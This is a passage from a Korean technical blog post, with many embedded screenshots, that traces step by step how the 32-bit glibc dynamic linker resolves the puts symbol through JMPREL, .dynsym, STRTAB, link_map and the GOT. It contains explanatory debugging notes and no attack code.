&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;617&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OC3Pe/btsGex4aFsC/QLfhkscLsMC8lKDkuMxKiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OC3Pe/btsGex4aFsC/QLfhkscLsMC8lKDkuMxKiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OC3Pe/btsGex4aFsC/QLfhkscLsMC8lKDkuMxKiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOC3Pe%2FbtsGex4aFsC%2FQLfhkscLsMC8lKDkuMxKiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;617&quot; height=&quot;168&quot; data-origin-width=&quot;617&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;구했던 STRTAB의 주소를 esp+0xc(0xbffff004) 주소에 저장해둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;edx 레지스터에 .dynsym에서의 index 값과 재배치 타입 값을 저장&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;151&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dfPv1i/btsGdCrBrqk/xM0a4QqDvZp4i1AhRWjkn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dfPv1i/btsGdCrBrqk/xM0a4QqDvZp4i1AhRWjkn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dfPv1i/btsGdCrBrqk/xM0a4QqDvZp4i1AhRWjkn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdfPv1i%2FbtsGdCrBrqk%2FxM0a4QqDvZp4i1AhRWjkn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;655&quot; height=&quot;151&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;151&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;151&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/edAQoV/btsGebG4TOJ/Vnwg5yQ9x4h57zogQI5a3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/edAQoV/btsGebG4TOJ/Vnwg5yQ9x4h57zogQI5a3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/edAQoV/btsGebG4TOJ/Vnwg5yQ9x4h57zogQI5a3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FedAQoV%2FbtsGebG4TOJ%2FVnwg5yQ9x4h57zogQI5a3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;655&quot; height=&quot;151&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;151&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;edx 레지스터에는 JMPREL에서 puts에 해당하는 Elf32_Rel 구조체 형식의 값의 주소(0x8048298)가 들어있는데, 해당 주소를 ebp 레지스터에 옮긴 후&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;puts에 해당하는 Elf32_Rel 구조체 형식의 값에서 .dynsym에서의 index 값과 재배치 타입 값이 포함된 4byte 값을 edx 레지스터에 담는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그러면 최종적으로 edx 레지스터에는 0x107이 들어간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;JMPREL 테이블에 Elf32_Rel 형식의 값의 내용 중 GOT 주소를 가져와 eax 레지스터에 저장&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;151&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KDShp/btsGe57anWu/sL401cz4N66EDM8AkVe4k1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KDShp/btsGe57anWu/sL401cz4N66EDM8AkVe4k1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KDShp/btsGe57anWu/sL401cz4N66EDM8AkVe4k1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKDShp%2FbtsGe57anWu%2FsL401cz4N66EDM8AkVe4k1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;655&quot; height=&quot;151&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;151&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ebp+0x0 주소(0x8048298)에 들어있는 puts 함수의 GOT 주소를 eax 레지스터에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;.dynsym에서의 index 값과 재배치 타입 값을 esi 레지스터에 저장&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;151&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKUKRc/btsGc4ooxBQ/OWw7ezEWyw8cRvTbEhtFb0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKUKRc/btsGc4ooxBQ/OWw7ezEWyw8cRvTbEhtFb0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKUKRc/btsGc4ooxBQ/OWw7ezEWyw8cRvTbEhtFb0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKUKRc%2FbtsGc4ooxBQ%2FOWw7ezEWyw8cRvTbEhtFb0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;655&quot; height=&quot;151&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;151&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 edx 레지스터에 담겨 있던 .dynsym에서의 index 값과 재배치 타입 값을 esi 레지스터에 옮김으로써 esi, edx 모두 0x107이 들어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;678&quot; data-origin-height=&quot;322&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjG5cG/btsGeahiR3F/F79Er0wBBQevGe59yOs0pK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjG5cG/btsGeahiR3F/F79Er0wBBQevGe59yOs0pK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjG5cG/btsGeahiR3F/F79Er0wBBQevGe59yOs0pK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjG5cG%2FbtsGeahiR3F%2FF79Er0wBBQevGe59yOs0pK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;678&quot; height=&quot;322&quot; data-origin-width=&quot;678&quot; data-origin-height=&quot;322&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;여기까지 정리해보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;eax 레지스터에는 GOT 주소(0x804a00c)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;edx와 esi에는 .dynsym에서의 index값과 재배치 타입 값이 포함된 4byte 값(0x107)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ebp에는 JMPREL의 주소(0x8048298)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;edi에는 link_map의 주소(0xb7fff918)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;esp+0xc에는 STRTAB의 주소(0x804821c)가 들어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체 형식의 값에서 .dynsym에서의 index 값을 가져와 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값이 있는 주소 구하기&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwdIRq/btsGdE38ilK/9yDzwJvBQktTtU8XIwnqF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwdIRq/btsGdE38ilK/9yDzwJvBQktTtU8XIwnqF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwdIRq/btsGdE38ilK/9yDzwJvBQktTtU8XIwnqF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwdIRq%2FbtsGdE38ilK%2F9yDzwJvBQktTtU8XIwnqF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;126&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Sbwu4/btsGc3QEzju/c1w5hYg7QXbhIlkxQ3wKUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Sbwu4/btsGc3QEzju/c1w5hYg7QXbhIlkxQ3wKUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Sbwu4/btsGc3QEzju/c1w5hYg7QXbhIlkxQ3wKUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSbwu4%2FbtsGc3QEzju%2Fc1w5hYg7QXbhIlkxQ3wKUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;125&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;93&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/85UgX/btsGdX3qLyv/EGtA1E20rbC1tXjBE8JyN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/85UgX/btsGdX3qLyv/EGtA1E20rbC1tXjBE8JyN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/85UgX/btsGdX3qLyv/EGtA1E20rbC1tXjBE8JyN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F85UgX%2FbtsGdX3qLyv%2FEGtA1E20rbC1tXjBE8JyN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;93&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;93&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;155&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJT9fx/btsGgCwDuxa/wS7sj4SwMI5Xc4UyXiac10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJT9fx/btsGgCwDuxa/wS7sj4SwMI5Xc4UyXiac10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJT9fx/btsGgCwDuxa/wS7sj4SwMI5Xc4UyXiac10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJT9fx%2FbtsGgCwDuxa%2FwS7sj4SwMI5Xc4UyXiac10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;155&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;155&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;.dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소(0x80481dc)를 구해 ebx 레지스터에 담는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dP0VOx/btsGdSBekr8/i9H7oGMZehcBeUlieapWy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dP0VOx/btsGdSBekr8/i9H7oGMZehcBeUlieapWy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dP0VOx/btsGdSBekr8/i9H7oGMZehcBeUlieapWy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdP0VOx%2FbtsGdSBekr8%2Fi9H7oGMZehcBeUlieapWy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;126&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;156&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9loMy/btsGeAGzCU0/Pi1J9tsdpjBiZTs4d63nUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9loMy/btsGeAGzCU0/Pi1J9tsdpjBiZTs4d63nUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9loMy/btsGeAGzCU0/Pi1J9tsdpjBiZTs4d63nUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9loMy%2FbtsGeAGzCU0%2FPi1J9tsdpjBiZTs4d63nUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;156&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;156&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;link_map의 주소(0xb7fff918)에 있는 값 0x0을 eax 레지스터에 들어있는 값(0x804a00c)에 더해 eax 레지스터에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이는 0x0을 더하는 것이므로 별 의미 없는 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;재배치 타입 검사 및 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소를 esp+0x1c 주소에 저장&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;93&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdhods/btsGgBqXHp6/Yj1oaO3ldLFI2rQkTvaNf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdhods/btsGgBqXHp6/Yj1oaO3ldLFI2rQkTvaNf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdhods/btsGgBqXHp6/Yj1oaO3ldLFI2rQkTvaNf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbdhods%2FbtsGgBqXHp6%2FYj1oaO3ldLFI2rQkTvaNf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;93&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;93&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uEn5l/btsGeiMXKMV/Ute0Kq5MkukWpr85n68rQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uEn5l/btsGeiMXKMV/Ute0Kq5MkukWpr85n68rQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uEn5l/btsGeiMXKMV/Ute0Kq5MkukWpr85n68rQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuEn5l%2FbtsGeiMXKMV%2FUte0Kq5MkukWpr85n68rQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;168&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;64&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bC8ROY/btsGgzUdBVG/aaQdvPSAXV9pOnoSmQWEbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bC8ROY/btsGgzUdBVG/aaQdvPSAXV9pOnoSmQWEbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bC8ROY/btsGgzUdBVG/aaQdvPSAXV9pOnoSmQWEbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbC8ROY%2FbtsGgzUdBVG%2FaaQdvPSAXV9pOnoSmQWEbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;64&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;64&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;edx 레지스터에는 .dynsym 테이블에서의 index와 재배치 타입값이 들어있는데, 이 값에서 재배치 타입 값이 0x7인지 확인한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;그리고 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소(0x80481d)를 esp+0x1c(0xbfffefb4) 주소에 저장해두고&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;재배치 타입 값 0x7과 0x7을 비교했을 때 같았으므로 0xb7fe996f 주소로 점프하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;GOT 주소를 ebp로 옮기고, 조건 분기&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;103&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWlJgF/btsGd9W4MRD/x9a3GiIWz7k3IFKD0Npyj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWlJgF/btsGd9W4MRD/x9a3GiIWz7k3IFKD0Npyj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWlJgF/btsGd9W4MRD/x9a3GiIWz7k3IFKD0Npyj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWlJgF%2FbtsGd9W4MRD%2Fx9a3GiIWz7k3IFKD0Npyj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;103&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;103&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oPVDh/btsGdQpTxOO/9vHzsWPa5BPRRICtZpazPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oPVDh/btsGdQpTxOO/9vHzsWPa5BPRRICtZpazPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oPVDh/btsGdQpTxOO/9vHzsWPa5BPRRICtZpazPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoPVDh%2FbtsGdQpTxOO%2F9vHzsWPa5BPRRICtZpazPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;170&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;170&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;235&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0vAaW/btsGfv5JEtE/6rKE2aQBO7kBHVkkLfmhr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0vAaW/btsGfv5JEtE/6rKE2aQBO7kBHVkkLfmhr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0vAaW/btsGfv5JEtE/6rKE2aQBO7kBHVkkLfmhr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0vAaW%2FbtsGfv5JEtE%2F6rKE2aQBO7kBHVkkLfmhr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;235&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;235&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
